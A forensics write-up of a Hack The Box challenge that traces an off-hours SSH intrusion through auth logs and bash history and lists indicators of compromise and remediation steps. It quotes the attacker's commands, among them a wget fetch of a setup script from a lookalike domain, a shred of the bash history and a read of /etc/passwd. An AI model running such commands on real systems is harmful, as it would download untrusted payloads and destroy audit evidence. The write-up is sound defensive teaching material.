$ cat writeup.md…
$ cat writeup.md…
hackthebox
This forensics challenge required analyzing SSH logs and bash history to identify a security incident on a development server. The task was to detect signs of unauthorized access, trace the attacker's activities, and extract the flag from the evidence.
This forensics challenge required analyzing SSH logs and bash history to identify a security incident on a development server. The task was to detect signs of unauthorized access, trace the attacker's activities, and extract the flag from the evidence.
The investigation centered on a compromised development server that was accessed from an unusual external IP address during non-business hours, followed by typical post-exploitation activities including system reconnaissance, payload delivery, and evidence destruction.
The primary evidence files were SSH authentication logs (auth.log) and bash command history (.bash_history). Initial examination of the SSH logs revealed a successful login from an unexpected external source:
Feb 19 04:00:14 server sshd[12345]: Accepted publickey for devuser from 2.67.182.119 port 62221 ssh2
Key findings from log analysis:
2.67.182.119 (external, non-corporate address)100.107.36.130:2221 (non-standard port)2024-02-19 04:00:14 (4 AM — outside work hours)OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4Examining the user's bash history revealed a clear sequence of post-exploitation activities:
whoami # Confirm user context uname -a # System reconnaissance cat /etc/passwd # User enumeration wget http://gnu-packages.com/setup.sh # Payload download from suspicious domain shred -u ~/.bash_history # Evidence destruction ./setup # Execute malware
The commands demonstrate a classic attack lifecycle:
/etc/passwdgnu-packages.comshred to destroy bash history evidence./setupSeveral red flags were identified:
| Indicator | Normal | Detected |
|---|---|---|
| Login time | 09:00-19:00 | 04:00:14 |
| Source IP | Corporate VPN/range | External (2.67.182.119) |
| Authentication | Password or VPN | Direct public key |
| Commands | Standard dev workflow | Recon + download + shred |
The flag was embedded in the analysis evidence, confirming successful completion of the forensic investigation:
HTB{REDACTED}
1. Off-Hours Activity The attack occurred at 4:00 AM, significantly outside normal business hours (09:00-19:00). This temporal anomaly is a strong indicator of malicious activity, as legitimate remote work during these hours is less common.
2. External IP Address
The connection originated from 2.67.182.119, an IP address outside the organization's expected network ranges. Corporate development servers should typically only be accessible from internal networks or VPN endpoints.
3. Non-Standard SSH Port
The SSH service was running on port 2221 instead of the default 22. While security through obscurity is not a reliable defense, this may indicate either intentional hardening or previous compromise attempts prompting a port change.
4. Public Key Authentication The attacker used public key authentication, suggesting they had obtained valid SSH credentials. This is more sophisticated than password-based attacks and indicates either prior credential theft or targeted social engineering.
5. Evidence Destruction Attempt
The use of shred -u ~/.bash_history indicates the attacker attempted to destroy forensic evidence. This behavior is highly suspicious and confirms malicious intent.
6. Suspicious Download Source
The domain gnu-packages.com (impersonating GNU) was used to deliver what appears to be a malicious payload. This domain should be blocked at the network level and investigated.
7. Command Sequence Pattern The command sequence follows a well-known attack pattern: recon → enumerate → download → execute → cover tracks. Security monitoring systems should flag this pattern.
2.67.182.119100.107.36.130:2221OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4gnu-packages.com2024-02-19 04:00:14 UTCHISTFILE on persistent storage and increase history sizegnu-packages.com and similar lookalike domains to block lists$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar